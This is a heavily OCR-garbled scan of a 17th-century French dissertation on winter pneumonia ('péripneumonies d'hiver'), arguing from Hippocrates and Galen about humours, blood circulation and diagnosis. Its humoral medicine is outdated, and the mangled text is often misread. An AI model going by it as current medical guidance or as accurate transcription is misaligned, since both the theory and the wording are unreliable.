ment au Liv- de Worb. Sacr. (apt-
mile froide fe mesUnt avec le Jang
cha»d , le rifdotdit & arrepefon
xttnent ; & Ji cttie hitmetir grojfiere fe
wnfledatnltjang tn grande ^Handle ,
Cj
|V JQ ^ifertatton f»r les
IB I'hontm ft-1efi j pwce ■qttellt
■ fttrt»of)te ^ cengele ; mau s'il
■ s’(>* nfeJle pioiKs , tUe dommt fur k J*ng,
H & boHchf la reif iratton. - ■r>V
11 Kv^irvoitv, Gette humcur pituiteufc par
II fi vlfcofue, s’attache aux pouJmons,
M qjji cpmnae paric Hippocr. I’attirent
6 c nc la lailTent pas allcr , farcit &
bouchc les vcficulcs dont ils font com-
, pofcz i enforte qu'elle rctardc & em-
pefche la circulation, & fert d’obflaclc
au fang qui doit cntrcr au coeur par le
ventricule droit, cn fortir- pour pafler
d.ans Ic poulipon, & rtntrcr par la
mefme partie daps le ventricule gau-
. chc , pour eftre diftrihue, par tout Ic
~ corps. ■ Ce qui fe fait par ces quatre
fameux cauaux qu’Hippocr. au Liv.
dt Cavdft, appelle elegamment les
foiirccs dc la nature hunaaine. La par-
faite liberty de ce n>ouvcnient circulai-
tUm 't ’ qui n a pas. eftd inconnu Si
detnerl tc grand hornine>,comint il parofft par
so. pluliturs palfages de fes-Ecrits, eft la
mo’i- [ante & la vie: ion interception entiere
me dans :es paflages cy<-deflu'S : fa di*
aqinution Sidfon. embams daosJa ppin
Teripittummus d'Hjver. 3 s
{krme, deqoclque caufcquMle proc'e-
de, eft la ■aaladic que nous ddenvons.
Hippocratc rappclk ofdiujtireinriit.-
&: en general, Ptripneumonic } & ce
root fc crouve en tant c)c licux» ^u’il
feroit importun de les citcr rows. Au
Liv* dcs imer. tex- 4 . il lanoftf',
me fimplcment pleumonie ou pulmo,
nic ; e’eft en vain que Martin dans
le Commentairc j veut fairc dcus
cipeccs differemes de ecs maladies.
Enfortfi que cc nom que-Ic vul*
gaire attribue ordinairement aux
phtifiques , fignifie propreroent chez
nocre Auteur, au mefme endroit, un
tuberculc dll poulmon j qui eftant ef-
chaufFe attire, ou pluftoft , felon le
cours de la circulation > rctienc quel-
que Kumeur, qui le rcmplit-, le gon-
fle» le tumefie, & renflamme. Cet-
homeur eft quelque fois de la bile >
comroe il eft dit au Liv. de he. tn ho*
min. & I. de merh. quelque fojs da
feng, coromc au texte 8. des xffeU,
intern. Icplussfouventde la pitoiic *
corome on le voit dansiJe tex. 7. du
roetme Livi.,&, o-es-cxpreftcment chez
Ga].m4. Liv^. <^6 cemf. fit!/., cb. 13 ^
’rtarien fur les
I'c poulnipfl » I il, cllaiit lafttie,'
XT^of , ^ ’*> n' lle vacii tca-
>i ^t'o« *«VS> fu-sAOH ' s't jittni-
tne far nrt jang fitvtnc^x , & grojj.tr ;
frarcr ^ne le Juinti & btlnux s’ticule^
prJtnatnmtni , f^fe atjimtnt an ira-
vers , & ne pent iettaebtr aree ulitre, ■
C’eft poiirquoy la pcripneiinionie
ou la pulinonie , bon droit-conicc'
par Hipppcr. t rrcre hs maladies d hy-
vt'r» qui comme nous I’avons de)a>
prouvc , erigendre beaucoup de pi-
ioite. Et nous voyrons par experience 9
que Ct'S atfedions de poidtrinc, fonc
plus piU moins communes , & dange- .
reufv-s» fi Ion la rigueur &■ la duree de
cette faifon. Enfortc quelois qu’eUe-
eft extraordinairement frwide , ces>
maladies palTent pour cpidemiques .
concagicufeSj Sc mefme peftilciues.
oinefte remar.quces& defcricts com¬
me telles, par quant'te d’Auceurs :
tantoft , foils Ic nom de peripneumo-'
nies; tantoft fous celuy de fautles pi' U«
refies. & par quelqufS’ aivtres > fens le
nom compofe de pleuropc npneumon.'
qui feroii aftez propre s’il n’elloit diflS*
die ^ pronQiicer, ceue maladtc fai^
P trifrtMWonm d‘Hjver. 3 j
/ant paroiftrc ordinairerocnt des fym-
peonies de I'afirdicn dc la plevrc % tc
du poulxnon.
Les noms d'infiammations faulTeS
<3U veritablcs , legitimes ou baftardes »
dont £e fervent les raodemes, jufquts
faire trois cfpeces de ccs dernieres,
pc fc troiivent point cbea Hippocr. ny
xnefines chez Gal. en termes rormels.
Cc dernier en femble dire quclque.
<;hofc au /. de loc. diff. mais pour Tor*
dinaire, ils diftinguent ces maladies
parUlituation dcs parties afFcftccs •
gar les caufes & les faifons qiti les pro
duifenti mais principalcmcnt par la
vehemence & lamolItfTe dclcur fym«
ptomes , entre klquclles la iBdvre
tient le premier rang , qui k la vwiti
£s trouYc fort diverfe en ces fortes
d’affc^onSi car cUc eft tres-aigue
dans quciques uncs, & trcs-Icgere ,
prefque imperceptible cij d’autres;
principalcmcnt dans les commence¬
ments des pulmonics d’hyver que nous
deferivons, dans lefqtielles le plus
fouvent clle n’eft que catarrhculc,
ou comme Tappellc Lindanus Epialc j
mais fcirvent aulE vers le fixieme elle
^4 DiferiAt’m fHr lis
fe releve, habtttjiai & devient
trcs-vitfJcntc. D’oit vient la divcrfiic
des defcriptions qiie npus'Cn dbnnrnt
lesAuceurs. Et c’cft fans doute pour
ccKC raifonqti’Hippocrate cbnfciUc au
/. Aph. du Liv. k-. d’obfervcr cxafte.
incntles difFerenccs^qai fe sencontrcnt
dans les douleurs^ dc cofte & dt poi*
jftrine : &£ dans Ic tex. yi. dii 4.
VfQ. rat. in acnt, 'Hans la feri^neftmo-
me, ^ la flenrefie, dic-il I’on doit com
fdererfi la fievre eft aigHc fi la dott-
tear vccHpe tcru les deux cofieK. ilfant
encore ehfervtr la tom > la diffienlte dt
rejpirer, la mautrt & la tnaniere dt
I'expethraim.
Cependsnt. routes ccs denbra'ina-
ttohs n’cftant introduitts par les Au¬
teurs plus- reccnts , quc pcur mieux
diftingucr ces raefnics chbfcs , nous les
reccvons volontiers , & nous en lervi-
rons quelque fois. Cette diverfne dfi
noms eft arbitraire, & ne doit rebu-
ter perfonne , comine I’a dit Galien en'
cent cndroits , pcurveu que It s chofcs
■folcnt conftaiues, expliqucos, & prou-
v^es Wen nctrcment. J’efpere fur tout
que- Ion me permettra ds me fervir
*Ptrifni»ntomes d°hyvtr. jj
protaiftucmenc , dc cc que .difent les
Auteurs fur la pleurefi-e &la pcripncU”
monie >.tanc ^ ratfon de cccte taefme
confufion 4e perns que parcc qu’en
offet dans la dodfmc d’Htppocr les
chofes mefmcs nc doivcnc pas cftre di^
ftinguees comme if paroift par Ic paC-
fagc dernier allcgu4> dansiequel il fait
les mefmes o.bfervations fur Tunc
I’autre maladic , lefquelles cn effet, au
Viv. de lac. in horn, ne different qu’en
ccquela pdripncnmonic eft uac afFc-
ftion dc tout Ic poulmon , & la plcu-
refie d’un feulement, & ainfi
il n’y auroit entrc.ces affeitious que da'
plus oil du moins- Dans Ic 1 . de morb.
les tttbercules de bile de pimite fe font
fur le eajte^ de la neefme mamere (]m fnr
le poHlmon. Bt au j Li?, au ticre de
peripnettm. il veut qu’on traite la pleu-
refie& la peripucum- de raefnic fagon,
non peceaht qnt eddem ratione traiiet
iia Qc Gal au 5 Comm.
dcTift. inacuc ttx. if 8. In peripneu¬
monia plenritidem fubandtre ppportet.Et
Placcrus au a. dc fa pratique , &: dans
fes queftions pathol. s9- enfeigneque
CCS deux maladies faiit infeparabies.
fufUs
Cda prcfuppose , ie fou ticni , ^ii6
felon la doi^iiue d’Hippocrate , cori*
firn»<c par rcxperirrtce , ii eft dc d 'U*
forces dr pcripneumanics I I’une d’hy*
Ver ^ done nous avon-s deja parte , qae
fefroid engendre par fonadtoa propre
tt nacurcHe , & ooil par acctdenc »
cornitte le vfcalertc qarlqucs Auocura
eTi:rr‘’aucres Vincentius Biroirius > qui
dans fan Liv. de-la Pk'uroprripn- ch.'
17 foacienc conue Gal.qu’tl rcconii lift
eft re d’Wis contfaife , 00“? ces in''
flamrtiations fe font par ft rndd psree
qu’il concentre le farig & Id chaleurau
dedans, & enffina'mr pat cc moyeti le
poulaion& Id plevtr,dautanc quM ref'
ferre les sreine', rend F-- fang pin ^ grof^
fierSfmalprripTe an rAolivem-ent. Noai-
recev6s volStiers cecte dernbre patttd
de foil oornioti , ' nous I’avons de|a
exp+iqui'; mais la premiere ne peat
fobfiftcr, & eft incompatible aved’aff-*
trc. Cat (i le frbid par antiperiftafe
ebauffe le fang, ?1 nc le rend pas moir-d
pTopreaa m'ouVe'hiene, puifquela chd'^
fear le fendi ptds tenu , coufahC &
mnbr'e. d'-plus, Ivlc froid'prod'uit lei
peripn'eamonres par daliperiftafe * Ss
Ptrlpnmmonies d'Hjver.
an concentrant la chaleur naturelle* il
s’enfuivroic necelTairenieiit quc les
corps vigoureux, jeimes, & robuftes,
devenans plus chauds , par la concen-
tratioiijferoienc plus fujets ccttc ma-
ladie , queries vieiix & les infirmes i cft
qui eft concrc Texperience» & le pro-
pre tefmoigna_ge de Baronius, fur la
fin du Chap. 35 auffi bien que du Do-
(Sleur Jean Colles , qui dans fon Liv.
3. EfiBold i .ad Conciel. que nous
rapporcerons plus bas toute entiere.*
defcrivant cette maladie , dit qu’ellc
eft cngendree,, Propter anni fiigidam
& hvtmiiam , nivofamt^He conftttHUo-
mm , & remarque cxpreftement, que
ies femmes & les vieillards en eftoienC
principalement atcaquez. Nou? avons
obfervc la mefme chofe pendant .ces
deuxdernieresannees.i le fort eft tom-
be fur les corps foibles.qui raangepient
trop, on fe Tervoienc de mauvaifes
nourricutes • ll faut done conclure
avec Gal. an comm- 6 . fur le des
Epidem. tex. ,4. Qm le froid modere
fern concentrer la vhalenr en (onden-
fam fettlement la fftperfieie exierietire
Si pour lors il ne fait que du bien.
D
.j'8 *Difermm furies
J^^aisefi^e»t excejjifil penetre Ji avans ^
qtte tout tanimal en eH trouble , & en-
dommage, par la ruine de fa comple'-
ffcion& de fes forces.
L’autre efpece d’inflamraation dc
poidrinc , eft mife par Hippoe. eiitre
Ics maladies d’efte j dans le tex- 8. du
Liv. des AfFe£t. Intern. Lore que le
f/oulmon , dit-il, s’enflamme par lerjf-
^ pele , il fe fait tumeur principalement
dufang^parce que le poulmon I’attire
retient. Cette maladie fe fait en
ejle 1 principalement pendant la Canicu-
le. Je n’eftois done pas tout I fait
Vifionnaire . lors qiie j’ay diftingue
dans ma Thefe , deux fortes dc
Peripneumonies j I’une d’Hyver.
& fautre d’Efte. J’ay bon garand , &
outre faucoritc * la raifon & I’cxpe-
rience y font formelles. Car an liea
que dans I’hyvcr , les fucs dc noftre
corps, finite dc fermentation , demeu-
rent vifqucux & pefants j bouchent &
farciflent le poulmon , corame nous
Tavons explique. Tout au contraire ,
pendant Ics chaleurs de I’efte , le fang
efi encor tres-fort t felon Hifpoc. an
MX. J4. dul. dt Itau hum. hiln’ln
Pey 'tpneHwonles £Hyveri 3-9
Et la bke qm fofede le corps , fe levs
m why , comme le dit tres-energique-
ntent noflre uimenr.
an ttS od^Ti Cette humciir
quand elle pQ:,trop forte . & trop abon-
dante j n'eft, proprement parlcr, quc
le foulphre itnpur & fuperfiu de la
malTe du fang , qui prend feu comme
fj'huile & le bitume. Nous cn avons
;faic voir plufieurs fpis rcxperience af-
jfe? ciirieufi fur de.s pierres trouv< 5 es
diiis la veffie du fiel, au norabre de
17. qiji parie lieu de leur generation,
.& leur .co.uJeur . ne paroifloient autre
•phofe qu’une concretion de bile , lef-
quejles eflant appro.chdes de la chan-
delle , s’allument plus promptement
f:]ue la Cire d’Efpague , Sc brCilent j
jufqucs ^ leur derniere confomption.
Il ne faut done,pas s’cftonner,que ce
levain bilieux mefle dans le fang , avec
lequel il a fi grande analogic , excit^
principalement parquelque caufe pro-
cathaidtique, produile dans la mafle
line fermentation trop forte , & metlc
les humeurs dans un mouvement rapi-
de & precipite, qui approchc de la
f^onflagratipa, De. cp mouvement ex«
4-0 Di^ertatien fw Us
ceOxf, vicnc d’abord la fufion & la coI»
lic^uation du fang, qni eft Teffet propfs
& nature! de la bile comme Tont ef-
prouv6 Ics Anatonjiftcs mod^rnes ,
qui jettant par une fcrin^iie cette bu-
meur dans les ve,ines des aniroaiix vi-
vants, ont remarquc que leur fangde-
vient ft fluide , qii’i! ne fe coagule pas
^lefme apres la mort D’ou vient que
les bilieiix , font toujours fujets aux
maladies catarrhcufcs ? Ce que noftre
grand Hippoc- mefme femblc avoit
rcconnu puifque , felon le telxnoi-
gnage de Foeftus dans fon Oeconomie,
le met yan' ne fe doit pas expliquer
fculemcnt Sc fimplement, Tilis , mais
dans le fens d’Mippoc; au Liv. dc loc-.
in homins. Si en beaucoup d’autrcs
endroits , Eaflascio in um-verfnm, <j’M
fit ah huntere tenui eawijue ch cattfam
facile flnente. Cc qu’il applique peu
apres i la pleurefie , & ^ la peripneu-
JBonie; qui nfe manqucm guere eii
effet de fuivre ce grand moiivement :
d’autant que Tagitatton des humeurs>
eft beaucoup plus forte dans le poul*
nron & fes vaifleaux , que dans toiites
les autres parties k caufe du flux
Sc reflux continuel du fang i qui fe fast
‘PefipHeantonies d’Hfver. "41
< 3 aiisce vifcere : au travers duquel il
en doic pafTer plus de cent livres ^e*
fant, dans I’efpace d’etne^ hcore. Efi
ainfi. pour peu qnc les difpofitions par-
ticiilicresjfe joignent ^ cettc caule uni-
verfelle,la'peripneumonic d’eft^ eft in-
faillible : Lors que i corame die excel-
lemmcnt Hippoc. au tcx. 8. dii Liv.
mem. ^e£t. le ponlmon attirf Ic fang
& le retiem. Et autex.4. lepottlmen
attire le fang.^ & ne le renvoje ftu. En¬
force qu’il s'amafTe & fe coagule danS
cette partie. Ec au l. de errorh. il ne fe
diftribue plus , mais il fe ccarompti
j/ifiv aMi Jli<pOetpl MaiS peUt * OH
rien demandej" de plus exprez , qua
cequtfelic auChap. dernier du II.
Li-v. de dtat. dans lequel Hippoe. par-
lant de rexcrement des huraeurs 5 qui
fe retient dans le corps , & ne s’e vacua
pas : & qui par cette raifon. JSfon som^
wodum efi cerpori,fed infefittm, mole*
fiiam exhibens donee exwerit il ert
donne cette ration t tanqnam enim
tircHitum nonhabens^ qn'ufeens ealefin-.
turn iffnm turn qua allahmtur.
igitur multttmfuertt quod fecretum efi- •-»
4 t iam td qmdfannm efi exuperat, mm
Df
42.-; Dtpftmon far Us
eoncalejcat febrU vehmm
indttcaiftr. CaltfaUo etiimfa»gnine,
attratte , ceUnm circmtHm facwni ea
q0t& in corporefmt,. Peuc-on douter a-
pres cela qu’Hippoc- n’ait connu la
tirculaiion du fang , & les maladies
qui dependent de fon interception 3
ll eft done vray.que eette fafion &
agitation inmodeiee du fang , caufee
par le mcflange dc la bile , fe termine
enfin i fa coagulation ainu qu’il ar¬
rive dans la plufpart des 'fermenta¬
tions- vehementes , lefquelles, on par
la diffipation , ou par le meflange des
plus fubtiles parties , avec les plus-
groffieres j produifent ordinairement
un caille -comme il fefoit aife de faire
voir par indu^lion. Et ainfi dans toute
inflammation de poiclrine , dc quel-
qae nai-ure qu’eUc !oit j il y a toujoors>.
ooncretion du fang, ,comme I’a fort
bien remarque le celebre Willis dans-
I’onzieme C^.AaLh.dt febrihiu.D^ns
Ufijuinancie , dit-if, laflearefie ,& ia -
feripneHmonicyl'on pent rmarc^mr dans-
U fang stne certaine,aptitude d fe ceagu,
Ur, par laqttdk il devtent moins flntdt ;
i^non la wit dam le laiii, Im qfii-
^eripriMmanlts d^\^jver, 43.,
commence A mgrir car four lors on ne
pent le chauffer, njle cmre fans qn tl fe
coagnle, L e fang devient a pen pre's de
mefme dans ces affe£Hens & fon mou^
vement s arrefie dans le cofie on dans •
e^ntlcjn asiire partie tpnel^nefois mefme
dans le coenr , on tl fan nne eppreffion
mertelle c’eflponri^uoy tynelejnesplenre-
tiqnes fe platgnent a nne grande pefan-
teur vers cette partie ■, & nous avons ■
troHve dans I’onvertnre de It nr cada-
vres , dst fang catlle , & de longn es con¬
cretions. Elies fe ferment par le chaud, .
& par le froid par labile , & par la
pituice i dans Thy ver & dans Tcfte :
comme iWleigne Hipp. aux textes
deja dtez ,4. Sc du Liv. d‘es
affe£l. intern. & du Liv. L de morh. ou
il dit, Que la bile congele le fang, mats
moms qne la pitHite,<\\s\ \e condenfe par -
elle mefme,& par fa ptopre adion au
lieu que la bile ne prod nit,ce mcme ef-
fet,que par accident. £t ainii il arrive
Ibuvent, que la peripneumonie .d’hy-
ver commence par la coagulation & la-
fcntcurdu fang > & que celle d’eftefe
termine enfin par,cette mefme coagu-
latioivj que.dans la premiere, rinfianj*
DijfertdUetifHrles-
snadon eft‘ effentielk , & la fievr6
fymptomatique j aulieu que dans la fe-
conde, la fievre eft eilentielle , 8 c Fin-
flammation n’en eft que le fyniptomei
ll eft de la derniere importance de j
bien diftinguer ces deux maladies , &
leiir caufes puis qu’eiles produifent |
dcs indications curatives j non fcule-_^ ;
ment diverfes i mais entierement op- )
pofces j comme nous verrons ci-apres#
& c’cft line erreur capitale de prendre '
le froiJ pour le chaud , & le cbaud*
pour Ic froid.' Cependant'elles font
fort difficiles ii difcerner; puifqae toii-
tes contraires qu’elles font * tiles, pro-
diiifcnt neanmoins dans li mefme par-
tic affcdlee j une idee de maladie , & j
des accidens tres-femblables > quileur !
ont acquis un mefme nom j c’'cft h fca- |
voir Finflammation de poulmon ■. Ss , j
tous les fymptomes qui cn dependent.
Car bien , comme nous avons deja >
die, que la pituiteloit froide & vif*
queu^, cllc ne laifle pas d enfiammer I
le poulmon •• parce qu’en bouchant fes
conduits , fcnfibles , & infcnfiblcs i
clle empefehe que le fang ns circulc j
librement, & i arreftant-dans ce -vif !
Tsripmmemes d*Hyver. 4/
cere s le coagulc par fa vifcofite* f&
froideur , & fon acidite,
dit cnergiquement Hippocr.
& ainfi produit ^ peu pres les mefmes
accidents , que le fang Sc la bile , lors
qu’elfc euflamme par clle mcfme , Sc
par une fermcnta-tion excellivc. G’eft
la dodtrine d’un Auteur , qui tout Bar-
bare qu’il eft , n'cft pas ^ mefprifer ,
ceft Valefcus de Taranta 3 qui dans
fon Liv. III. Chap, p dcmande pour-
quoy la peripneumonie eft une tu-
racur chaude, veil qiie la pituiie qui
Ifl produit ordinairement eft froide. Ce
qu’il refout en difant, (^tic vtritablt-
mtnt tile nefipas chaude a raif en de f/t
matiere ; mats hien de la pante dans la-
quelle die s’engettdre , ^ui produit tosee
les accidents des tumenrs chandes •, a
CAtife de la pomritare <]tti fefait aupres
d» comr. C’eft a dire en un mot j qnc
les peripneumonics, mefme de caufe
froide,ont la plufpart des fymptomesj
des plus grandes , Sc des plus vsfita-
, bles inftammations ; k caufe de la eol-
ledtioii & de la fuppuration du feng-,
qui 'fe pourrit dans ces tub^rcules.
• Ceft.ce qu’pn peuE obferyer da£l^!
4 ^ Diffcytatlmfurles
ies defcriptions diverfe.* que noqs .dog-
ge Hippoc. de^.malad.ies du pou.lflion>
en divers endroits des.dtivres , de mor-
hu , & de ceUvy des inttYn. qgi
font de tons fes Quvragcs > ceux dans
Jcfqiiels il traite plus k.loiids.cc .fujet.,
& qui font fore difficiles ^ d’4broiuller
ian:s,cecte didinttion. Car dans le tei.
.4.dece dern;igr.;,l actribue les mef-
mps accidents a la pa'lrnpnie du fangj
.& h celle de la pit-nice .a fcavoirj
toux aigue & fciche dans le eoromen-
cement , rigueur , .ftcyre > doulettC
dags le fternun? ,,lc dosj- dt les coftes^
avee orihopn^c. Tl affine eneprie .les
mefmes fymptomes aux'varices du
ponlmon dans le tex. y. & fa reple¬
tion dans le lix. Dans le fept il defcrit
une inflammation de ce mefme vifr
cere , done la.caiife roerite d’eftre coiif j
fidcree dans le fujet que nous traicons »
MU‘ ,eft prodmte , die noftre Auienr*
par m excez^ de vm , de viande >
Xm , x.poffadilf- ) & /’«-
fage de .certains poijfons , comme le
Mage & I', dm la gratfe efi:
tnnemle de la xature hum^tne ( cc
.qu.i fait voir, fi I’on en pouyoitdouteri^
Tin^neHmonies cCHyver. 4^
que dansla dodtr. de iioftrcAuteurjks
cfudite's peuvet engend'rer la pertpneu*
moriiie )‘ enfme , ajoucc-t.il, cem
tnalailieprocedt depitmteil'ors <ywefant
tntjlee avec le fang, elle fe emit dans le
foulmon. Ccpcndaiit il luy doniie pou«
fympccjmes, la rigaear , la fievre , ^
t4> faif ms-forte , le Ijomifemm > la
diffimlte de t^efpirer, & tous les acci¬
dents qu’il avoic defcrics dans I’cl-yfi-
pele du poulmon, au II. Liv. dcs ma¬
ladies, & au tex. S. dia Liv. des ajfeSt.
intern. Enforce que fi Ton ne confulcc
que les fignes tircz des effecs, on les
fympcomeS de la maladie.on courc fort
grande rifquc de confondre les caufes ,
& de fc tromper dans la curacion.
En ctftt, toute caufc qui empefche
la liberte de ce mouveraenc circulaire ,
dans le pouJmon & dans le cceui j
foie qu’elie foil chaude , on qu’ellc
foie froide , qu’elle monte du ventre &
des vcihes , ou qu’elle defeende de la
tefte fur la poitrine , y produit ^ peu
pres les mefines accideiis ; ^ f9avoir la
rigueur, I’oppreflion, lafievre, la foif,
I’ihquietude , le delire , Sc une in^nitd
d’autres fympeomes. quelquefois pa-
reiis kceux que produifent les poifons
'4 8 Dffertatfon fut ies
les plus dangereux ; comme vomiSw
ments & flux de ventre effirenez , froi«
deur dcs cxtreraitez , perte de pouls,
fl)if incxtinguible, exanthcmes par
tout le corps , foiblefles , fyncopes, Sc
cnfirt la more: ce qui arrive lors que
i’interception eft grande&fubice,c6me
nous ToblervaGnes il y a quelques an-
neesjdans un Gentil-homme dge d’en-
viron dix-huit anSj qui d’une fame
parfaite eftanc totnbe tout d’un coup
dans ces accidents , Sc mort en douze
heures, fat juge par nos plus anciens
Profefteurs, empoifonne d’un venin
extraordinairement malin ^ Sc parce
qu'il n’y avoit aucun lieu de foupqon*
ner, que rien de-pareil vinft du dehors*
Ton ne tnanqua pas d’en accufer Ic
fang caille , les huracurs putrides , les
venins de xaufes internes. A peine
piit-on trouver des Chirurgiens pour
faire Touverture j ils craignoient d’ex-
pirer fur le champ par Todeur de cettc
malignit^ ; & il n’y a point de prefer-
vatifdont ils ne fc muniflent: cepen-
dant, toute leur precaution aboutit ^
defcouvrir un corps eftrange, de la pee
fantcur d’environ.dcux gros, qui eftok
dans
*I>eripneiimomts d'Hyver. 4 9
dansle sentriculc droit du c(£ur> ^ la
Bafe duquel, il fembloit avoir ete long-
temps attach^ par un peduncule, nou-
vellement rbmpu dans un mouvemc-nc
viblcnt, qu*avbit fqufFert le raalade ;
deforte que cc polype n’eftant plus
pendule ( comme il cftoit aupafavant)
il avoit bouche par fa chcute, Torificc
de la veine arterieufe, arrefte tout d’urt
coup la circulation , & caufe Ics mef-
mes fympt'omcs que les plus dange-
teux poiforts. Tant il eft vray , que la
violence des accidents , ne fuic pas
tant la chaleur . I’acrimoniej ou la ma-
ligniti de la matiere » que la noblefle
& la neceflite des parties & atSfcions
bleflees : tnais principalement, du
poulmon & du coeur , dont Tobdru-
ilion eft la pire de toutes , felon Gal.
au II. de ^r^fag. ex pulf.
Il n’y a »donc pas tant de myftere
quon s’imagina dans ces qualitez oc-
culces, ces vertus magnetiques , vene-
neufes., & alexiteres. Le fameux st'w u
du Prognoft. n'eft rien autre chofe que
la conftitution de Tairi, comme nous
dirons. cy • apres» & pour expliquec
ces proprietez de route, la fubftance ,
E
JO ‘ WtffenattonfHYlts
il ne femble pas bcfoin de tant de del,
d'aftres , ny de formes » que Tllluftre
Ftrnel en a mis dans fes Liv. de abd. •
rer. cmf- ou s’il en faut reconiioiftre , i
e’eft dans nous:^& I’adlnirable ftru- 1
Anre de noftre corps qn’on Ics dole
trouver. 11 faut done priiicipalemcnr,
cbferver-fes rhoiivements reguliers, 8c j
irreguliers, par lefquels Hippocr. cn i
tant de lieux, a expliqu6 la fante,& les 1
diverfes maladies qui nous affligent, |
Mais corome dit Gal. auChap. i. du
III. de differ, fulf. nous aimons ^
charger un art. qui n’eft deja que trop
long pour noftre vie, de meditations
creufes 8c inutiles, & quitons la ftm*
plicit^ de la nature pour de fauffes fub-
tilitez. e’eft ainfi que nous attribuons
aux caufes , les proprietez dcs fujets ;
comme ceux qui mettrqient la dou-
Icur dans Taiguille qui la fait, & non
pas dans le fens qui la fouffre. L’on
enfeigne de merme que la fievre n’eft
autre chofe que la cbaleur eftrangere
qui fort de la pourriture des huracurs;
mais s’il eft ainfi , iorfque I’animal •
meurt par fa violence , pourquoy fon
corps devient-il froid? puifque ccs hu- ^
meurs briilantes y demeurent toujours, , !
^.tnpntHmomcs d'Hjvtr. Ji
& que felon touteslestpparences , la
more ilerorrige pas Icur pourricurc &
ainfi ne Ics doit pas refroidir, (i leuc
chalcui- vieot principalement de leuc
proprefonds , & non pas da dcregle-
ment de la chaleur naturelle , done la
fievre,, felon Galicn , eft is^Ve'^ftr
& icncpr iSn' S mfUits.
Cenvtrjio in ionium , dit • il »• tu I. de
vtSt. net. tn ttc. ux^ ly. & I. Apho-
rifm. i4\
Il faut done regarder tous ces fym-
ptomes , comme dcs mouvements ir-
. reguliers de cette mcfmc nature , qui
guerit fouvent les maladiesj mais aufli
qui les produit quelqucsfois en s’irri-
tant tnal ^ propos , & fe ruinant pjft
les propres forces qu’ellc veut em¬
ployer i deftruirc fon enneroy. D’ou
vient ce mot fi familier k I’lHuftre
Monfieur Durct , PrxBat naturam
•^tiiefetre, (juam aliquid mol'trifrftftrd.
Cc qui revient i cette penfee de Gal.
an Chap. i. du 4. dt cmf. fulf.
«cf AaiHaJmi, Jiita’/tdf £ eufigi ttiayvAs tiitt
tfctncXafit’eyi^ dttfyxoi, let Fet“
HHiuK. gofivemext It torfs , feJen-
jOHt fufees fAT qmlqne nectjfiU «>•-
/z ® ifertatioft/kr tes
gente f eptrent avee tres-gr^ittdt veKe-
pttnce. Er appliqnanr cccy ^ )a peri-
pjicuraonie d’hyver, dis que tous
[es accidents qui paroill'ent dans
cectp maladie j precedent de Tagita*
tion de la nature , qui fe fentaht atta-
q,u^'e dans fon principe , & dans la
fource de la vie, met tout cn truvre »
& fait des efforts extraordinaires pour
fe degagerjSc rejettcr par quclque voic
que ce ioit, one caufe qui J’op^rime &
. qui la fuffoque , & non pas, de la cha*
leur , I’acrinnonic , & la malignice, le
plus fouvent imaginaite»j des hmneurs
qui fe jettent fur le'poulmon. |
Nousnenions pa* ncanmoiris que ^
toutes chofes eftant egales» les inflara-
mations qui procedenc d’une fermen- ||
ration trpp vehcroente , & font veri- p
tables & legitimes > caufecs par le f
fang efchauiFc, corame dit Hippoc. an k
I. de morh. de la fievre , du Solcil, & ;
da travail ou par la bile , qui comme
nous avons dit, eft I’humenf la plus ;
fermentable qui foit dans nos veines, j
ainfi qu'HippJ’a fi bien marque parce g
mot ai'iKitti elle s’elevp dans le paffage
eite da tex. j. A\xl. dt natar 4
TertjftieHPfOKies d^'Hjvsr. jj.
dans le Ill. de vtEl. ration, tn acut^
tex. j8. les liqueurs amcres, c’eft k
dire la b.ile Gal. dans le Com¬
ment. fe difiolvent par le vinaigrc , 8 c
fe changctu en pituite , quand ellcs
font fublimees , ce qui ne
peutarriver que.par la fermentation*
Et encor plus expreiremcnt j lors qne
parlat de ratrebile.qai n’cft qu’uncbile
cres-eLhauffefj il dit que le tneme via-
aigre
I’exakcjla fublimejla fermente>
tSela muluplie.Nousne nions pas dis-i,e
que^ tomes chofes eftant egalcs , css
liumeurs tres-ehaudcs, .tres.-acrca , Sc
prefque toujours dan* .I’prgsfme , pi¬
quant plus vlvement, & irritant plus
fort la naturej ne faflcat une pcrjpneii.
plus cbaude ; uue fievre plus aigue;
& des Tymptomes plus y.iolcnts. Cette
doftrine eft conformc a la raifon i
cellc de noftre Precepteur ,, qui mar*
,qu« aflez cette difference en deferir
vant aux III. de Moth, I’inflamir.atlen
du poulmon , lory, dit-il, tjud'e^ tn-
mefie par la chalenr ( par. ou il fait affez.
entendre qu’il y a des- tnmeurs quv
procedent d’une autre caufe ) le dcs.^;
yif Viprtation ftir lti
Im foiSirine hrulent mh malade , eornntt
s’tl efioh ^Jfis m fres d'm grand fm ,
il lity fen des reagenrs , velm dflant-
md & m^rfiu fortu inc 'tdn &ar>gwfi 'ia.
Et au tex. 2 . des imtrn cn dcf-
^rivanc cette pcripfjcumome d’cfti ,
tjui vient de bilt- 3 i de fang , il mar*
■quc des fignes d'ane cbalciir beaucoup
^lus grande , 'qne dairs Ics autres- ie
matade , dit*il , fevt Kn grand travail
'dans la poiUrtne , ostvre "& dilate les
nartnes , temmt an Chtval omre < &
tirt la langae comree an chien hrtde
dans I’r,fit far la chaltarda Seleil, il a
de la rongeur dans les jeux ,'&c. Ges
fignes doivent eftre remarqucz par un
Medecin diligent, & qui profue de
lout , foit.en interrogeant le malade ;
Ci-mme I’ordonne Gal au Chap. 19.
du Liv. de Conftitat. anis: foil en
i’obfervant fans rien detnandcr; a'nli
que Ic melmc oblige ^ faire en plu-
lieurs cbofes, au 1. Comm, fur le Liv.
de rat. vi£l w acut.
Cependantj comme I’humeur pi-
tU'iteufe, froide, & crue, eftant cn plus
grande qnantite. & caulanc line inltr-
■ce-ption plus forte & plus promptc
dans la.circuiacioH du fang , & lai/Iant ‘
Perlfneuwonies d’Jfyvtr. yj
BioiHs'dc libertc pour la refpiration.#
peut produire une crcs grande fievre ,
oppr ffion , & a&tres fymptomes vio-
leiis : Je foutiens que ce n’eft pas fcil-
lem nt, ny pr>ncipal,ment de ces ac-
■ctdens, Ic plus fouvenc cquivoqnesj
■qu'il £iiu tirer Its fignes dcs caufes
antecedentes &.con^oinces ; mais que
pour rendre le ^oncooxs pathognomi-
que, Ton y 'doit jdindre les difpofi^
•tions qoi precedent ces mefmes cau-
fes, & 'les produifcnt ; auffi bien
que cclles qui les accompagnent, Sc
les fuivent i comme la conftitution
•de I’air, it Uquelle fe raporcc le Cli-
mat, la Region , lies Vents, les Sai*
fons 1 non feulement prefentes , -mais
cellds qui ont precede , avec leur di-
verfes alterations , fans I’exade obfer- lib. de
